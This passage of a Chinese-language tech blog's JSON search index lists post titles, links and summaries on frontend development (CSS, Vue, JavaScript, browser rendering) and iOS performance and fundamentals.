这几个词可能在你的工作生涯中经常出现，网上相关文章也很多。如果你对这些概念感到模糊或完全不了解，希望本文能帮助你理解这些渲染模式。\nSPA 与 MPA MPA MPA（multiple page application） 称为多页应用, 指的是有多个页面的应用，从技术手段上来讲，你可以这么粗略地理解。\n首屏速度快：各个页面相互独立，需要单独维护多个 html 页面，每个请求都直接返回 html。 切换页面比较慢：基于原生浏览器的文档跳转（navigating across documents）。因此每一次的页面更新都是一次页面重载，这将带来巨大的重启性能消耗 …","title":"CSR，SSR和SSG"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-022/","summary":"前言 在项目中经常存在如下问题：\n1.模块拆分不合理 2.变量和函数命名不知所云 3.缺少注释或者是写了一堆描述不清的内容 4.重复的代码遍布各个角落等 因为这些不良的编程习惯，导致了项目越来越难以维护，程序性能越来越低，大大降低了日常的工作效率以及提高了公司的开发成本。\n下面就以CSS在Vue3项目中的架构为切入点，通过减少CSS代码的冗余度和增强CSS代码的维护性、扩展性来提高我们的编程能力和项目架构能力。\nCSS的设计模式 在学习CSS架构之前，我们先简单看一下常见的5种CSS设计模式，这些设计模式都为我们的CSS架构提供了一定的开发思路。\n1.OOCSS模式 …","title":"架构"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-022/","summary":"什么是响应式系统 在 Vue 中，数据驱动视图是一个非常重要的概念。当数据发生变化时，视图会自动更新，这是因为 Vue 实现了一个响应式系统，通过追踪依赖关系来自动更新视图。\n简单来说，响应式系统就是 Vue 能够监听数据变化，并在变化时自动更新 DOM 的核心机制。在 Vue3 中，响应式系统的改进使得响应式数据可以更加高效地更新视图，同时也提升了开发体验和性能。\nVue2 的响应式原理 在 Vue2 中，响应式原理是通过 Object.defineProperty 来实现的。Vue 会在数据对象上定义 getter 和 setter，来实现数据变化时更新视图的功能。\n举个例子，当一个数据对 …","title":"响应式原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-%E5%B4%A9%E6%BA%83/","summary":"崩溃是影响App稳定性的最严重问题。当应用发生崩溃时，用户会被强制退出应用，严重影响用户体验和产品口碑。\n本系列文章系统性地介绍iOS崩溃的原理、采集方案以及治理策略。\n什么是崩溃 崩溃（Crash）是指应用程序因为异常或错误而被强制终止的现象。从技术角度看，崩溃可以分为以下几类：\n崩溃类型 触发原因 典型场景 Mach异常 底层硬件/内核异常 访问无效内存、除零错误 Unix信号 系统信号导致进程终止 SIGABRT、SIGSEGV、SIGBUS NSException OC层未捕获的异常 数组越界、unrecognized selector 内存问题 OOM或内存损坏 内存不足、野指针 …","title":"崩溃"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runtime/","summary":"什么是 Runtime Runtime 是 Objective-C 的运行时系统，是一套底层的 C 语言 API。Objective-C 是一门动态语言，很多操作都是在运行时而非编译时决定的，这一切都依赖于 Runtime。\nRuntime 提供的核心能力：\n消息发送与转发 方法交换（Method Swizzling） 关联对象（Associated Objects） 动态创建类和对象 动态添加和修改方法、属性 关于对象、类、isa 指针等底层数据结构的详细介绍，请参考 Objective-C底层原理-NSObject。本文专注于 Runtime 的动态能力和实际应用。\n消息发送机制 …","title":"Runtime"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-023/","summary":"1. 什么是浏览器解析和渲染HTML 一句话概括：将html代码转换成页面上显示的内容。\n表1：形象展示将HTML转换成页面上显示的内容\n2. 浏览器解析和渲染HTML过程？ 那么浏览器拿到HTML代码后是如何把其转换成页面上显示的内容的？\n2.1 宏观描述执行过程 2.1.1 解析和渲染 首先我们来看两个概念，解析和渲染，确切来说是DOM解析和DOM渲染。\nDOM解析： 生成DOM tree的过程。就是把你所写的各种html标签，生成一个DOM tree，可以认为就是生成了一个最原始的页面，一点样式都没有，毫无CSS修饰。\nDOM渲染： 将DOM tree与css样式结合，生成Render …","title":"浏览器解析 HTML 文件"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-023/","summary":"大部分 Web 开发者都知道 CSS 中有一个盒模型，但很少有人知道在 CSS 的世界中还有另一个模型，他就是 CSS 的视觉格式化模型。\nCSS 视觉格式化模型（英文称之Visual Formatting Model）。该模型主要是用来处理在视觉媒体上显示文档时使用的计算规则。仅从这一句话来描述，估计很多同学都会感到困惑，视觉格式化模型到底是什么鬼？大家先不用急着知道视觉格式化模型是什么，只需要知道它是 CSS 中很重要的一部分，如果理解了该部分所涉及到的知识点，将有助于你更好的理解和学习 CSS，特别是 Web 布局\n什么是视觉格式化模型 在盒模型中我们了解到，在 CSS 的世界中，任何一 …","title":"视觉格式化模型"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-023/","summary":"Watch 基本用法 当我们需要在数据变化时执行一些“副作用”：如更改 DOM、执行异步操作，我们可以使用 watch 函数：\n\u0026amp;lt;script setup\u0026amp;gt; import { ref, watch } from \u0026amp;#39;vue\u0026amp;#39; const question = ref(\u0026amp;#39;\u0026amp;#39;) const answer = ref(\u0026amp;#39;This is answer. ;-)\u0026amp;#39;) // 侦听一个 ref watch(question, async (newQuestion, oldQuestion) =\u0026amp;gt; { answer.value = …","title":"watch与watchEffect"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-023/","summary":"前言 正则表达式使用单个[字符串]来描述、匹配一系列匹配某个[句法规则]的字符串，通常被用来检索、替换那些符合某个模式（规则）的文本。\n创建 1.构造函数创建 new RegExp(\u0026amp;lsquo;正则表达式\u0026amp;rsquo;,\u0026amp;lsquo;修饰符\u0026amp;rsquo;)\nvar reg = new RegExp(\u0026amp;#39;hello\u0026amp;#39;,\u0026amp;#39;igm\u0026amp;#39;); 2.直接直面量创建 /正则表达式/修饰符\nvar reg = /hello/igm; 字符分类 1.普通字符 字母、数字、下划线、汉字、没有特殊含义的符号（,;!@等）\n实际上不是特殊字符的字符都是普通字符\n2.特殊字符 \\：将特殊字 …","title":"正则表达式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/static%E5%85%B3%E9%94%AE%E5%AD%97%E8%AF%A6%E8%A7%A3/","summary":"基础概念 static 是 C 语言定义的存储类说明符（Storage Class Specifier），Objective-C 和 Swift 中均有使用，但语义有所扩展。它的核心作用可以归纳为两点：\n改变存储位置：将局部变量从栈区移到数据段，使其在函数返回后依然存活 限制链接可见性：将全局变量或函数的链接属性从 external 改为 internal，使其仅在当前编译单元（.m 文件）内可见 flowchart TD A[\u0026#34;static 关键字\u0026#34;] --\u0026gt; B[\u0026#34;修饰局部变量\u0026#34;] A --\u0026gt; C[\u0026#34;修饰全局变量\u0026#34;] A --\u0026gt; D[\u0026#34;修饰函数\u0026#34;] A --\u0026gt; E[\u0026#34;Swift 中的 …","title":"static关键字详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-%E5%B4%A9%E6%BA%83%E6%97%A5%E5%BF%97%E8%A7%A3%E8%AF%BB/","summary":"iOS 崩溃日志（.ips / 老版 .crash）是排查线上问题的一手证据。它不仅记录了\u0026amp;quot;谁崩了\u0026amp;quot;，更隐藏着异常类型、终止命名空间、寄存器现场、线程堆栈、二进制映射、资源限额等多维度事实。看懂每一个字段，才能把\u0026amp;quot;不能复现\u0026amp;quot;的崩溃拆成\u0026amp;quot;寄存器 x0 是 nil 的后果\u0026amp;quot;这种可复现假设。\n本文聚焦系统生成的崩溃日志本身：格式演变、bug_type 全景、Header/Body 逐字段、Exception Type / Termination Namespace 深度解读、寄存器视角、符号化工具链、实战案例库、自动化脚本。OOM 专用的 …","title":"崩溃日志解读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-024/","summary":"1. 什么是原子化CSS 1.1 基本概念 原子化CSS(Atomic CSS) 近年来热度逐渐增加，与原子化CSS相关的库在Github上也收获上万的Star。那么什么是原子化CSS呢，引用文章 Let\u0026amp;rsquo;s Define Exactly What Atomic CSS is 中定义：\u0026amp;ldquo;原子化CSS是一种CSS架构方式，其支持小型、单一用途的类，其名称基于视觉功能。\u0026amp;rdquo;\n更加通俗的来讲，原子化CSS是一种新的CSS编程思路，它倾向于创建小巧且单一用途的class，并且以视觉效果进行命名。举个简单的例子：\n\u0026amp;lt;!-- 原子化类定义 --\u0026amp;gt; …","title":"原子化CSS"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-024/","summary":"一、网站加载概述 面试过程中，常常遇到这样一道面试题，输入URL到页面加载完毕，浏览器做了哪些工作？\n首先输入一个URL，你会看到浏览器上面的标签页出现了一个loading图标，开始时是逆时针旋转，接着顺时针旋转，当前页面消失，显示我们常说的空白页面，接着出现显示我们请求的新页面。此时如果网络很差，你有可能看到短暂的DOM页面，然后再看到渲染后的正常页面，这是从表面看到的加载过程，实际浏览器做的要多得多。\n为什么浏览器这么多戏呢？直接显示不好吗，当然不行，就像喝粥，能直接吃米、喝水吗？\n在用户输入URL到页面展示，浏览器要先向服务器获取前端资源，然后再将服务器返回的字节流转化成对应的页面，每一 …","title":"输入 URL 到页面渲染完成"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-024/","summary":"一、什么是跨域？ 在前端领域中，跨域是指浏览器允许向服务器发送跨域请求，从而克服Ajax只能同源使用的限制。\n什么是同源策略？ 同源策略是一种约定，由Netscape公司1995年引入浏览器，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSFR等攻击。所谓同源是指\u0026amp;quot;协议+域名+端口\u0026amp;quot;三者相同，即便两个不同的域名指向同一个ip地址，也非同源。\n同源策略限制以下几种行为：\nCookie、LocalStorage 和 IndexDB 无法读取 DOM和JS对象无法获得 AJAX 请求不能发送 二、常见的跨域场景 URL 说明 是否允许通信 …","title":"跨域"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/weak%E8%AF%A6%E8%A7%A3/","summary":"本文将深入探讨iOS中weak引用的实现原理，包括底层数据结构、核心函数实现、生命周期管理，以及weak、unowned、unsafe_unretained三者的对比。\nweak的基本概念 weak是一种弱引用修饰符，它不会增加对象的引用计数，也就是说不会持有对象。当对象被释放时，所有指向该对象的weak引用会自动被置为nil，这是weak最核心的特性。\n// Objective-C中使用weak @property (nonatomic, weak) id\u0026amp;lt;SomeDelegate\u0026amp;gt; delegate; __weak NSObject *weakObj = strongObj; …","title":"weak详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/stutter-tableview%E4%BC%98%E5%8C%96/","summary":"列表滚动是用户最敏感的交互场景之一。本文介绍UITableView和UICollectionView的性能优化方案。\n列表卡顿的常见原因 flowchart TB subgraph frame[\u0026#34;每一帧（16.67ms内）需要完成\u0026#34;] A[\u0026#34;1. 计算可见Cell\u0026#34;] --\u0026gt; B[\u0026#34;2. 复用或创建Cell\u0026#34;] B --\u0026gt; C[\u0026#34;3. 配置Cell内容\u0026#34;] C --\u0026gt; C1[\u0026#34;设置文本\u0026#34;] C --\u0026gt; C2[\u0026#34;加载图片\u0026#34;] C --\u0026gt; C3[\u0026#34;计算布局\u0026#34;] C --\u0026gt; C4[\u0026#34;渲染视图\u0026#34;] C1 --\u0026gt; D[\u0026#34;4. 提交渲染\u0026#34;] C2 --\u0026gt; D C3 --\u0026gt; D C4 --\u0026gt; D end D …","title":"卡顿-TableView优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/","summary":"导读 移动端适配，是我们在开发中经常会遇到的，这里面可能会遇到非常多的问题：\n1px问题 UI图完美适配方案 iPhoneX适配方案 横屏适配 高清屏图片模糊问题 \u0026amp;hellip; 上面这些问题可能我们在开发中已经知道如何解决，但是问题产生的原理，以及解决方案的原理可能会模糊不清。在解决这些问题的过程中，我们往往会遇到非常多的概念：像素、分辨率、PPI、DPI、DP、DIP、DPR、视口等等，你真的能分清这些概念的意义吗？\n本文将从移动端适配的基础概念出发，探究移动端适配各种问题的解决方案和实现原理。\n一、英寸 一般用英寸描述屏幕的物理大小，如电脑显示器的17、22，手机显示器的4.8、5.7 …","title":"移动端适配"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/","summary":"什么是前端存储 开门见山。前端存储就是通过前端技术来存储一段信息，然后在同源下的不同页面中都可以获取到已存储信息的一种策略。\n前端存储的作用 方便网页的加载，避免了在发送请求收到响应前页面的空白期 可以在非强制性要求实时更新时减少向服务端的请求，加快渲染速度 在网络不佳或无网时仍有离线数据可以查看 有哪些前端存储方案 如图，一共有5种前端存储方案。大致可以分为3类：\nCookie WebStorage：LocalStorage、SessionStorage 数据库存储：IndexedDB、WebSQL 先做一个简单对比：\n下面我们详细介绍。\nCookie Cookie 的工作流程： …","title":"前端存储"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%80%BC%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%8C%BA%E5%88%AB/","summary":"定义 值类型 值类型是指变量直接存储自身字段或描述信息的类型。值类型具有值语义，当将一个值类型变量赋值给另一个变量时，语义上会得到一份独立的值；底层是否立即复制完整数据，取决于编译器优化和写时拷贝等实现。\n引用类型 引用类型是指变量存储的是指向数据在内存中位置的引用（指针）。当将一个引用类型变量赋值给另一个变量时，两个变量指向同一块内存区域。\nObjective-C中的类型分类 在Objective-C中：\n值类型：基础数据类型（int、float、double、BOOL、char等）、结构体（struct）、枚举（enum） 引用类型：除基础数据类型之外的大部分类型，包括NSObject及其 …","title":"值类型和引用类型的区别"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/stutter-%E4%B8%BB%E7%BA%BF%E7%A8%8B%E4%BC%98%E5%8C%96/","summary":"主线程阻塞是卡顿最常见的原因。本文介绍如何优化主线程的工作，减少阻塞时间。\n主线程的职责 主线程（UI线程）负责：\nmindmap root((主线程职责)) 事件处理 触摸事件 手势识别 UI更新 布局计算 视图绘制 动画执行 Core Animation UIView动画 系统回调 生命周期 AppDelegate 定时器 NSTimer CADisplayLink 通知处理 NotificationCenter KVO 原则：主线程应该只做UI相关的轻量级工作\n常见的主线程阻塞场景 1. 耗时计算 // 问题代码：在主线程进行复杂计算 func processData() { let …","title":"卡顿-主线程优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-026/","summary":"前言 随着互联网发展至今，对于网站来说，性能显的越来越重要了，CSS作为页面渲染和内容展现的重要环节，影响着用户对整个网站的第一体验。所以，我们需要重视与CSS相关的性能优化。\n项目开发初期我们可能因为各种原因（很大一部分原因是因为项目工期，产品往往把项目上线时间卡的死死的，根本不听你说的什么性能优化），怎么写的舒服就怎么来，对于性能优化我们常常在项目完成时才去考虑，经常被推迟到项目的末期，甚至到暴露出严重的性能问题时才进行性能优化。\n为了更多地避免这一情况，首先要重视起性能优化相关的工作，将其贯穿到整个产品设计与开发中。其次，就是了解性能相关的内容，在项目开发过程中，自然而然地进行性能优化。 …","title":"优化性能"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/webworker/","summary":"前言 先来聊聊单线程的Javascript\n众所周知，js最初设计是运行在浏览器中的，为了防止多个线程同时操作DOM，带来渲染冲突问题，所以js执行器被设计成单线程。但随着前端技术的发展，js能力远不止如此，当我们遇到需要大量计算的场景时（比如图像处理、视频解码等），js线程往往会被长时间阻塞，甚至造成页面卡顿，影响用户体验。为了解决单线程带来的这一弊端，Web Worker 应运而生。\n1. Web Worker 1.1 Web Worker 是什么 Web Worker 是 HTML5 标准的一部分，这一规范定义了一套 API，允许我们在 js 主线程之外开辟新的 Worker 线程，并将 …","title":"WebWorker"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%93%8D%E5%BA%94%E8%80%85%E9%93%BE/","summary":"当手指触碰iPhone屏幕上的一个按钮时，背后经历了从硬件感知、系统传递、命中测试、事件分发到最终响应的完整链路。本文将系统性地拆解iOS事件处理机制的每个环节。\n一、响应者与响应者链 理解事件处理的前提是理解\u0026amp;quot;谁有能力处理事件\u0026amp;quot;。在iOS中，这个问题的答案是 响应者（Responder）。\n1.1 UIResponder 所有能够接收并处理事件的对象都继承自 UIResponder：\nclassDiagram NSObject \u0026lt;|-- UIResponder UIResponder \u0026lt;|-- UIView UIResponder \u0026lt;|-- …","title":"iOS响应者链与事件处理机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/stutter-%E5%8E%9F%E7%90%86/","summary":"理解卡顿的原理是优化的基础。本文从屏幕显示的底层机制出发，沿着\u0026amp;quot;VSync信号 -\u0026amp;gt; 渲染管线 -\u0026amp;gt; RunLoop协作 -\u0026amp;gt; 掉帧产生\u0026amp;quot;的逻辑链条，逐步揭示卡顿产生的根本原因。\n屏幕显示的基础：VSync与缓冲机制 要理解卡顿，首先要理解屏幕是如何显示画面的。\nVSync信号 VSync（Vertical Synchronization，垂直同步）是显示器发出的信号，用于协调GPU渲染和屏幕显示的时机。在60Hz的屏幕上，每16.67ms发出一次VSync信号。当信号到来时，屏幕从帧缓冲区读取数据进行显示。\n时间轴： │←── 16.67ms …","title":"卡顿-原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-027/","summary":"CSS 发展史 上图是20 世纪 90 年万维网刚出现时，由于当时并没有可以装饰网页的方法，原始的 Web 页面呈现的效果，随着 CSS（层叠样式表，Cascading Style Sheets）的诞生与发展，Web页面的样式有了翻天覆地的变化。\nCSS的发布过程 CSS1.0 19912月W3C发布了第一个有关样式的标准CSS1.0。这个版本中，已经包含了的相关font的相关属性、颜色与背景的相关属性、文字的相关属性、box的相关属性等。 CSS2.0 1985年5月，CSS2.0正式推出。这个版本推荐的是内容和表现效果分离的方式，并开始使用样式表结构。 CSS2.1 2004年2月 …","title":"新变化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/service-worker/","summary":"引言 我们经常可以听到 Worker 这个名词，比如本文要介绍的 ServiceWorker 后面就带着一个 Worker 的单词，那么 Worker 实际上指的是什么呢？\n在介绍 Worker 的定义之前，先来回忆一下浏览器的渲染原理。\n在一个 tab 打开的时候，浏览器会给这个 tab 创建一个新的渲染进程（renderer process），如下图：\n图1：Chrome 浏览器的多进程架构\n图片来源：developer.chrome.com/blog/inside…\n在每一个渲染进程中，都会有一个主线程（Main Thread），负责 JavaScript 的执行以及浏览器的渲染 …","title":"Service Worker"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%A4%9A%E7%BA%BF%E7%A8%8B/","summary":"iOS多线程方案对比\n方案 简介 语言 生命周期管理 pthread POSIX标准的多线程API C 手动管理 NSThread 面向对象的线程封装 OC/Swift 手动管理 GCD Grand Central Dispatch C/OC/Swift 自动管理 NSOperation 基于GCD的面向对象封装 OC/Swift 自动管理 pthread pthread是POSIX标准的多线程API，是最底层的多线程方案，使用C语言编写。\n#import \u0026amp;lt;pthread.h\u0026amp;gt; void *threadFunction(void *param) { …","title":"iOS多线程编程"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/stutter-%E5%9B%BE%E7%89%87%E4%BC%98%E5%8C%96/","summary":"图片处理是iOS应用中常见的性能瓶颈。本文介绍图片解码原理以及各种优化方案。\n图片解码原理 为什么需要解码 图片文件（PNG、JPEG等）是压缩格式，无法直接显示。GPU需要的是位图（Bitmap）格式：\nflowchart LR A[压缩图片PNG/JPEG] --\u0026gt; B[解码DecodeCPU密集操作] B --\u0026gt; C[位图BitmapGPU可直接使用] 位图大小 = 宽度 × 高度 × 每像素字节数 例如：1000×1000 RGBA图片 = 1000 × 1000 × 4 = 4MB\n默认解码时机 // 加载图片（此时未解码） let image = UIImage(named: …","title":"卡顿-图片优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/websocket/","summary":"一、什么是WebSocket WebSocket 是一种在单个TCP连接上进行全双工通信的协议。WebSocket 使得客户端和服务器之间的数据交换变得更加简单，允许服务端主动向客户端推送数据。\n在 WebSocket API 中，浏览器和服务器只需要完成一次握手，两者之间就直接可以创建持久性的连接， 并进行双向数据传输。（维基百科）\nWebSocket本质上一种计算机网络应用层的协议，用来弥补http协议在持久通信能力上的不足。\nWebSocket 协议在2008年诞生，2011年成为国际标准。现在最新版本浏览器都已经支持了。\n它的最大特点就是，服务器可以主动向客户端推送信息，客户端也可以主 …","title":"WebSocket"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/stutter-%E6%A3%80%E6%B5%8B/","summary":"准确检测卡顿是优化的前提。本文介绍多种卡顿检测方案，从开发调试到线上监控都有对应的方案。\n检测方案概览 方案 原理 优点 缺点 适用场景 CADisplayLink 监控帧节奏、FPS、慢帧/掉帧 简单直接、适合趋势观察 无法直接给出堆栈，FPS 只能辅助判断 开发调试/线上辅助指标 RunLoop Observer 监控RunLoop状态 可获取堆栈 有一定开销 开发/线上 子线程Ping 定时检测主线程响应 实现简单 精度有限 线上监控 Instruments 系统级分析 信息详细 只能开发时用 性能分析 MetricKit 系统数据收集 无额外开销 iOS 13+ 线上监控 Sentry …","title":"卡顿-检测"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%B8%83%E5%B1%80%E6%96%B9%E6%B3%95%E8%AF%A6%E8%A7%A3/","summary":"本文详细介绍 iOS 中三种布局方式（Frame、Auto Layout、UIStackView）的原理和对比，视图更新的三个阶段（约束、布局、绘制），UIView 与 CALayer 的关系和区别，以及 updateConstraints、layoutSubviews、setNeedsLayout、layoutIfNeeded、setNeedsDisplay 等相关方法的作用、调用时机和区别。\niOS 布局方式 iOS 提供了三种主要的布局方式，按出现时间排列：\n布局方式 引入版本 核心思想 API Frame 布局 iOS 2 直接指定视图的位置和大小 …","title":"布局方法详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-029/","summary":"说到设计模式，大家想到的就是六大原则，23种模式。这么多模式，并非都要记住，但作为前端开发，对于前端出现率高的设计模式还是有必要了解并掌握的，浅浅掌握9种模式后，整理了这份文章。\n那么，我们先了解六大原则\n六大原则： 依赖倒置原则(Dependence Inversion Principle)：高层(业务层)不应该直接调用底层(基础层)模块 开闭原则(Open Close Principle)：单模块对拓展开放、对修改关闭 单一原则(Single Responsibility Principle)：单模块负责的职责必须是单一的 迪米特法则(Law of Demeter)：对外暴露接口应该简单 …","title":"设计模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/","summary":"iOS开发中，理解各种生命周期是非常重要的基础知识。本文将详细介绍应用生命周期、UIViewController生命周期、UIView生命周期，以及其他常见的生命周期。\n应用生命周期（App Lifecycle） 应用状态 iOS应用有五种运行状态：\n状态 描述 Not Running 应用未启动或已被系统终止 Inactive 应用在前台运行但未接收事件（如来电、锁屏时的过渡状态） Active 应用在前台运行并接收事件，这是应用的正常运行状态 Background 应用在后台执行代码，通常只有短暂的执行时间 Suspended 应用在后台但不执行代码，系统会在内存不足时自动终止该状态的应用 …","title":"iOS中的生命周期"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/stutter-%E7%A6%BB%E5%B1%8F%E6%B8%B2%E6%9F%93/","summary":"离屏渲染（Offscreen Rendering）是GPU渲染中的性能杀手。本文介绍离屏渲染的原理、触发条件以及优化方案。\n什么是离屏渲染 正常渲染流程 正常情况下，GPU直接将渲染结果写入帧缓冲区（Frame Buffer）：\nflowchart LR subgraph 正常渲染[\u0026#34;正常渲染 On-Screen Rendering\u0026#34;] A[GPU渲染] --\u0026gt; B[Frame Buffer帧缓冲区] --\u0026gt; C[屏幕显示] end style A fill:#e1f5fe style B fill:#fff3e0 style C fill:#e8f5e9 特点：\n直接渲染到帧缓冲区 渲染完成 …","title":"卡顿-离屏渲染"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/stutter-%E5%8D%A1%E9%A1%BF/","summary":"卡顿是影响用户体验的关键问题之一。当应用无法在一帧的时间内（通常为16.67ms）完成渲染工作时，就会出现掉帧，用户会感知到界面不流畅。\n本系列文章从渲染原理入手，系统性地介绍iOS卡顿的检测与优化方法。\n卡顿监控是 APM 流畅性子系的核心能力，线上指标体系、检测采集、上报策略请参考 APM 系列：指标体系、数据采集、业界方案（微信 Matrix / 字节 Slardar 卡死监控）。\n什么是卡顿 iOS设备的屏幕刷新率通常为60Hz（ProMotion设备可达120Hz），这意味着每秒需要渲染60帧画面。每一帧的渲染时间窗口约为16.67ms（1000ms / 60）。\n当CPU或GPU无 …","title":"卡顿"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E7%B1%BB%E5%9E%8B%E6%93%A6%E9%99%A4/","summary":"类型擦除（Type Erasure）是一种编程技术，用于在运行时隐藏具体的类型信息，使得不同类型可以通过统一的接口进行操作。在iOS开发中，Objective-C和Swift都有类型擦除的概念，但实现方式和应用场景有所不同。\nSwift中的类型擦除 Swift是一门强类型语言，类型信息在编译时被严格检查。但在某些场景下，我们需要隐藏具体类型信息，这时就需要使用类型擦除技术。\n存在类型与不透明类型 在理解类型擦除之前，需要先理解 Swift 类型系统中两个关键概念：存在类型（Existential Type） 和不透明类型（Opaque Type）。它们是协议在类型层面的两种使用方式，也是理解 …","title":"类型擦除"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/","summary":"网络分层模型 OSI七层模型 OSI（Open Systems Interconnection）是国际标准化组织提出的网络通信参考模型：\n层级 名称 功能 协议/设备举例 7 应用层 为应用程序提供网络服务 HTTP, FTP, DNS, SMTP 6 表示层 数据格式转换、加密/解密 SSL/TLS, JPEG, ASCII 5 会话层 建立、管理和终止会话 RPC, SQL 4 传输层 端到端的可靠数据传输 TCP, UDP 3 网络层 路由选择与IP寻址 IP, ICMP, ARP 2 数据链路层 帧的封装与MAC寻址 Ethernet, Wi-Fi 1 物理层 比特流的物理传输 光纤, …","title":"计算机网络"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/size-appthinning/","summary":"App Thinning是Apple提供的包体积优化技术，让用户只下载适合其设备的内容。本文详细介绍App Thinning的三个组成部分及其原理。\n整体架构 开发者上传： ┌─────────────────────────────────────────┐ │ Universal IPA │ │ ├── arm64 代码 │ │ ├── @1x/@2x/@3x 图片 │ │ ├── iPhone/iPad 资源 │ │ └── Metal GPU资源（OpenGL ES已弃用） │ └─────────────────────────────────────────┘ ↓ App …","title":"包瘦身-App Thinning"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/size-%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7/","summary":"在进行包体积优化之前，首先需要了解如何分析包体积。本文介绍常用的分析工具和Mach-O文件结构。\n查看IPA构成 解压IPA文件分析各部分大小：\n# 解压IPA unzip -q YourApp.ipa -d ./ipa_content # 查看各文件大小 find ./ipa_content -type f -exec ls -lh {} \\; | sort -k5 -h -r | head -20 LinkMap分析 LinkMap文件记录了链接器生成可执行文件的详细信息，可以精确分析二进制大小：\n# Build Settings中设置 Write Link Map File = YES …","title":"包瘦身-分析工具"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/size-%E5%8F%AF%E6%89%A7%E8%A1%8C%E6%96%87%E4%BB%B6%E4%BC%98%E5%8C%96/","summary":"可执行文件通常占iOS应用包体积的30-50%，是优化的重点。本文介绍各种可执行文件优化手段及其原理。\n编译器优化选项 优化级别原理 编译器优化级别控制了LLVM在编译时应用的优化Pass数量和类型。\n什么是优化Pass？ Pass是指编译器对代码进行的一次特定优化处理过程。LLVM将优化工作分解为多个独立的Pass，每个Pass负责一种特定类型的优化：\n源代码 → 前端解析 → IR（中间表示）→ Pass1 → Pass2 → Pass3 → ... → 优化后的代码 → 机器码 常见的优化Pass包括：\nPass名称 作用 Dead Code Elimination 删除永远不会执行的代 …","title":"包瘦身-可执行文件优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/size-%E8%B5%84%E6%BA%90%E4%BC%98%E5%8C%96/","summary":"资源文件通常占iOS应用包体积的40-60%，是优化的重要方向。本文介绍各种资源优化手段及其原理。\n图片优化 Asset Catalog原理 Asset Catalog（.xcassets）编译后生成Assets.car文件，这是一个优化过的资源容器：\n编译前： Images.xcassets/ ├── AppIcon.appiconset/ │ ├── icon-60@2x.png │ └── icon-60@3x.png ├── Logo.imageset/ │ ├── logo@2x.png │ └── logo@3x.png └── Contents.json 编译后： …","title":"包瘦身-资源优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/size-%E5%8C%85%E7%98%A6%E8%BA%AB/","summary":"包体积（IPA大小）是iOS应用的重要质量指标。App Store对蜂窝网络下载有200MB的提示阈值，超过这个大小会弹窗询问用户是否使用流量下载（iOS 13之前是强制要求Wi-Fi）。这个弹窗会增加用户的决策成本，影响下载转化率。因此，包体积优化对于用户获取和留存都有重要影响。\n包格式介绍 iOS开发中常见的包格式有三种：\n格式 扩展名 说明 .app 目录 应用程序包，是一个包含可执行文件和资源的目录结构 .xcarchive 目录 Xcode归档包，包含.app、dSYM符号文件、构建信息等 .ipa 文件 安装包，本质是ZIP压缩的.app，用于分发和安装 日常使用场景：\n开发调试 …","title":"包瘦身"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/electronswifttrtcaddon/","summary":"背景 Electron 的优势在于 UI 开发效率高，但在实现 RTC、视频前处理、美颜和虚拟背景等能力时，往往会触及 Web SDK 的边界。\nTRTC 是腾讯云实时音视频 SDK，适合做采集、推流、拉流、前处理和视频渲染这条主链路。它和浏览器里的 Web 